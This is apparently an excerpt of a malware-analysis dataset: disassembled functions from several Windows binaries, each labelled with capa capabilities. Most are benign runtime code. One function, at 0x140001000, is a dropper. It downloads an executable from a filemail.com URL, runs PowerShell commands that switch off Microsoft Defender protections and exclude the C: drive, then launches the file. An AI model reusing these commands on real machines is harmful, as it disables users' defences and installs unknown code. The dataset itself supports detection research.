joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402980f8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14029812a
call fcn.14027932c
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.140277fd8
jmp 0x140298249
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140298249
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140298249
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140298159
lock or dword [rcx + 0x14], 0x10
jmp 0x140298249
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14029816d
call fcn.140298664
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140292994
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14028b838
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140298237
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x140298202
mov rcx, rsi
call fcn.140292994
cmp eax, edi
je 0x1402981ed
mov rcx, rsi
call fcn.140292994
cmp eax, 0xfffffffe
je 0x1402981ed
mov rcx, rsi
call fcn.140292994
movsxd rbx, eax
lea r14, [0x14036eee0]
mov rcx, rsi
sar rbx, 6
call fcn.140292994
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1402981f4
lea rdx, [0x14035e0e0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140298202
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x140298226
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x140298226
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x140298226
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14029824c
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140298264
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x140297f86
call fcn.14027932c
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.140277fd8
jmp 0x1402980d6
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1402980d6
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x1402980d6
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140297fb5
lock or dword [rcx + 0x14], 0x10
jmp 0x1402980d6
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x140297fc9
call fcn.140298664
mov ebp, dword [rbx + 0x10]
cmp ebp, 1
jne 0x140297fd9
mov rax, qword [rbx]
mov r14b, byte [rax]
jmp 0x140297fdc
xor r14b, r14b
mov rsi, qword [rbx + 8]
mov rcx, rbx
mov edi, dword [rbx + 0x20]
mov qword [rbx], rsi
call fcn.140292994
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14028b838
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x1402980c4
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x14029806f
mov rcx, rbx
call fcn.140292994
cmp eax, 0xffffffff
je 0x14029805a
mov rcx, rbx
call fcn.140292994
cmp eax, 0xfffffffe
je 0x14029805a
mov rcx, rbx
call fcn.140292994
movsxd rdi, eax
lea rsi, [0x14036eee0]
mov rcx, rbx
sar rdi, 6
call fcn.140292994
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [rsi + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x140298061
lea rdx, [0x14035e0e0]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14029806f
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x140298093
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x140298093
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x140298093
mov dword [rbx + 0x20], 0x1000
mov rdx, qword [rbx]
cmp ebp, 1
jne 0x1402980b1
movzx ecx, byte [rdx]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, r14b
or cx, ax
inc rdx
jmp 0x1402980bc
movzx ecx, word [rdx]
add dword [rbx + 0x10], 0xfffffffe
add rdx, 2
mov qword [rbx], rdx
movzx eax, cx
jmp 0x1402980db
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x140297f50
Function at 0x140298b00
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140269fb0
sub rsp, rax
mov rax, qword [0x14035dc30]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140292994
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140298b4f
mov rax, rbp
jmp 0x140298c57
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x36eee0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14028b2e0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x36eee0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140298c53
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140298c53
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14028b2e0
test rax, rax
js 0x140298c53
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140298c53
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140298c45
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140298c45
cmp byte [rcx], 0xd
jne 0x140298c2b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140298c3a
cmp byte [rcx + 1], 0xa
jne 0x140298c3a
inc rcx
jmp 0x140298c3a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x35de50]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140298c0d
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140298c57
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140269300
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140299584
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14028b2e8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14028b2e8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1402996d4
cmp rax, 0xffffffffffffffff
je 0x1402996d4
xor edi, edi
test rbp, rbp
jle 0x14029967f
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140293480
mov rbx, rax
test rax, rax
jne 0x14029960c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140299675
mov edx, 0x8000
mov ecx, r14d
call fcn.14028fb4c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14028c77c
cmp eax, 0xffffffff
je 0x140299655
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14029961c
mov edx, r15d
mov ecx, r14d
call fcn.14028fb4c
jmp 0x140299675
cmp byte [rsi + 0x38], dil
je 0x14029966c
cmp dword [rsi + 0x34], 5
jne 0x14029966c
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x140299675
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1402915a8
jmp 0x1402996e8
jns 0x1402996e8
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14028b2e8
cmp rax, 0xffffffffffffffff
jne 0x1402996a0
cmp byte [rsi + 0x30], dil
je 0x1402996e8
mov edi, dword [rsi + 0x2c]
jmp 0x1402996e8
mov ecx, r14d
call fcn.140296b80
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1402996e8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x1402996e8
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1402996e1
mov eax, dword [rsi + 0x2c]
jmp 0x1402996e6
mov eax, reloc.WS2_32.dll_shutdown
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14028b2e8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14029b5ac
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14029b633
mov rsi, rbx
cmp word [rax], bp
je 0x14029b5f2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14029b5dc
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14029b5d8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1402915e4
mov rdi, rax
test rax, rax
je 0x14029b620
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14026bb50
mov rbp, rdi
xor ecx, ecx
call fcn.1402915a8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140001000
Capabilities:
Create process on windows
Download url
Execute command
Receive data

Disassembly:
push rbx
sub rsp, 0x30
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:ConsoleApplication.exe
xor ecx, ecx
lea rdx, str.https:__3003.filemail.com_api_file_get_filekeyzm9PYPmUcpq3FPZkXYtr92hGZQTLb8NgEwoztEVrIie0Rq7c5SK8_mJFvDPFYGHLqTtYup3csNkpk_vida80d0657be53b97f17147416777f471d
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
test eax, eax
jns 0x140001060
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001150
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001300]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
add rsp, 0x30
pop rbx
ret
lea rcx, str.powershell_Set_MpPreference__DisableRealtimeMonitoring__true
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_Set_MpPreference__DisableTamperProtection__true
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_Set_MpPreference__DisableBehaviorMonitoring__true
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_Set_MpPreference__DisableCloudProtection__true
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_Set_MpPreference__SubmitSamplesConsent_2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell_Add_MpPreference__ExclusionPath__C:_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r9d, r9d
mov dword [rsp + 0x28], 0
lea r8, str.C:ConsoleApplication.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x140001c18
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c62
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c62
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c62
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c62
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c62
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c64
xor al, al
add rsp, 0x28
ret
Function at 0x1400316cc
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd r8, dword [0x14000003c]
lea rsi, [0x140000000]
add r8, rsi
mov rbx, rdx
mov rdi, rcx
cmp dword [r8 + 0x84], 0xd
jbe 0x140031744
mov r10d, dword [r8 + 0xf0]
xor r9d, r9d
test r10d, r10d
je 0x140031744
movzx ecx, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rcx, 0x18
mov r10d, dword [r10 + rsi + 0xc]
add rcx, r8
test r11d, r11d
je 0x140031744
mov eax, dword [rcx + 0xc]
cmp r10d, eax
jb 0x140031738
mov edx, dword [rcx + 8]
add eax, edx
cmp r10d, eax
jb 0x140031756
inc r9d
add rcx, 0x28
cmp r9d, r11d
jb 0x140031726
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
mov dword [rdi], edx
mov eax, dword [rcx + 0x24]
mov dword [rbx], eax
mov eax, dword [rcx + 0xc]
add rax, rsi
jmp 0x140031746

Function at 0x140033290
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400332da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400332da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400332da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400332da
cmp dword [rcx + 0x84], 0xe
jbe 0x1400332da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400332dc
xor al, al
add rsp, 0x28
ret

Function at 0x14003c024
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14003bd88

Function at 0x140045f40
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140045f68
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140045f68
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x14015dac0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14015dad0]
mov dword [rax], 1
mov rax, qword [0x14015dae0]
mov dword [rax], 1
mov rax, qword [0x14015da70]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x14015dab0]
mov dword [0x14016500c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x14015db90]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x14015db70]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x14015da20]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140016960
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x140016aeb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call dbg.runtime.stdcall3
xorps xmm15, xmm15
mov r14, qword [0x1401ea258]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x1400169c5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x1400169d4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x1400169f3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x140016a03
cmp rbx, 0x1000
jae 0x1400169cb
jmp 0x140016a6d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x140016a15
xor edx, edx
jmp 0x140016a64
mov rcx, qword [sym.VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call dbg.runtime.stdcall3
xorps xmm15, xmm15
mov r14, qword [0x1401ea258]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x1400169f9
jmp 0x1400169e8
call dbg.runtime.getlasterror
xorps xmm15, xmm15
mov r14, qword [0x1401ea258]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call dbg.runtime.printlock
lea rax, [0x1400cb866]
mov ebx, 0x18
nop dword [rax]
call dbg.runtime.printstring
mov rax, qword [rsp + 0x38]
call dbg.runtime.printuint
lea rax, [0x1400cbbbd]
mov ebx, 0x19
nop dword [rax + rax]
call dbg.runtime.printstring
mov rax, qword [rsp + 0x30]
call dbg.runtime.printuint
call dbg.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x1400cd8f1]
mov ebx, 0x21
call dbg.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call dbg.runtime.morestack_noctxt
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp dbg.runtime.sysUnusedOS
Function at 0x140016b20
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x140016d46
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call dbg.runtime.stdcall4
xorps xmm15, xmm15
mov r14, qword [0x1401ea258]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x140016b93
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x140016ba2
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x140016bc5
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x140016bd5
cmp rbx, 0x1000
jae 0x140016b99
nop
jmp 0x140016c58
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x140016bed
xor esi, esi
jmp 0x140016c4a
mov rax, qword [sym.VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call dbg.runtime.stdcall4
xorps xmm15, xmm15
mov r14, qword [0x1401ea258]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x140016bcb
jmp 0x140016bb6
call dbg.runtime.getlasterror
xorps xmm15, xmm15
mov r14, qword [0x1401ea258]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x140016ce0
nop dword [rax + rax]
call dbg.runtime.printlock
lea rax, [0x1400cbbd6]
mov ebx, 0x19
call dbg.runtime.printstring
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call dbg.runtime.printuint
lea rax, [0x1400cbbbd]
mov ebx, 0x19
call dbg.runtime.printstring
mov eax, dword [rsp + 0x34]
call dbg.runtime.printuint
nop
call dbg.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x1400c8ee5]
mov ebx, 0xd
call dbg.runtime.throw
nop dword [rax + rax]
cmp eax, 0x5af
je 0x140016c80
call dbg.runtime.printlock
lea rax, [0x1400cbbd6]
mov ebx, 0x19
call dbg.runtime.printstring
mov rax, qword [rsp + 0x38]
call dbg.runtime.printuint
lea rax, [0x1400cbbbd]
mov ebx, 0x19
call dbg.runtime.printstring
mov eax, dword [rsp + 0x34]
nop dword [rax]
call dbg.runtime.printuint
call dbg.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x1400cd218]
mov ebx, 0x1f
nop dword [rax + rax]
call dbg.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call dbg.runtime.morestack_noctxt
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp dbg.runtime.sysUsedOS
Function at 0x140020b20
Capabilities:
Hash data using murmur3

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
cmp byte [0x1401ea04f], 0
jne 0x140020c10
sub rbx, qword [rax + 0x18]
mov rdx, qword [rax + 0x48]
test byte [rdx], al
mov ecx, dword [rax + 0x5c]
imul rcx, rbx
mov rbx, rcx
shr rbx, 0x20
shr rcx, 0x23
and ebx, 7
mov rsi, rcx
mov rcx, rbx
mov edi, 1
shl edi, cl
add rdx, rsi
nop
nop
nop
nop
lock or byte [rdx], dil
mov rcx, qword [rax + 0x18]
movabs rdx, 0x800000000000
add rdx, rcx
mov rbx, rdx
shr rdx, 0x2a
nop
nop
nop
cmp rdx, 0x40
jae 0x140020c03
lea rsi, [0x14017c158]
mov rdx, qword [rsi + rdx*8]
test byte [rdx], al
mov rsi, rcx
shr rsi, 0x10
and esi, 0x3f
shr rcx, 0xd
and ecx, 7
mov edi, 1
shl edi, cl
shr rbx, 0x16
and ebx, 0xfffff
mov rdx, qword [rdx + rbx*8]
test byte [rdx], al
movzx ebx, byte [rdx + rsi + 0x1040]
lea rdx, [rdx + rsi]
lea rdx, [rdx + 0x1040]
test dil, bl
jne 0x140020bde
lock or byte [rdx], dil
mov rcx, qword [r14 + 0x30]
mov rcx, qword [rcx + 0xa0]
test byte [rcx], al
mov rdx, qword [rcx + 0x1270]
add rdx, qword [rax + 0x68]
mov qword [rcx + 0x1270], rdx
add rsp, 0x10
pop rbp
ret
mov rax, rdx
mov ecx, 0x40
call dbg.runtime.panicIndexU
lea rax, [0x1400cf7a8]
mov ebx, 0x2c
nop dword [rax]
call dbg.runtime.throw
nop
int3

Function at 0x140023060
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x140023166
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rcx
mov byte [rsp + 0x70], dil
mov qword [rsp + 0x10], 0
jmp 0x1400230a3
mov rax, qword [rsp + 0x58]
mov rcx, rdx
mov rbx, qword [rsp + 0x60]
movzx edi, byte [rsp + 0x70]
cmp qword [rsp + 0x10], rbx
jae 0x14002315b
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov ebx, edi
mov rax, rcx
nop dword [rax]
call dbg.runtime.(*scavengeIndex).find
test rax, rax
je 0x14002315b
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x28], xmm15
movups xmmword [rsp + 0x38], xmm15
lea rcx, [dbg.runtime.(*pageAlloc).scavenge.func1]
mov qword [rsp + 0x18], rcx
lea rdx, [rsp + 0x10]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x18]
mov qword [rsp], rbx
nop dword [rax]
call dbg.runtime.systemstack
xorps xmm15, xmm15
mov r14, qword [0x1401ea258]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rdx, qword [rsp + 0x68]
nop dword [rax]
test rdx, rdx
jne 0x140023149
xor eax, eax
jmp 0x140023153
mov rax, qword [rdx]
call rax
mov rdx, qword [rsp + 0x68]
test al, al
je 0x140023091
mov rax, qword [rsp + 0x10]
add rsp, 0x48
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov byte [rsp + 0x20], dil
call dbg.runtime.morestack_noctxt
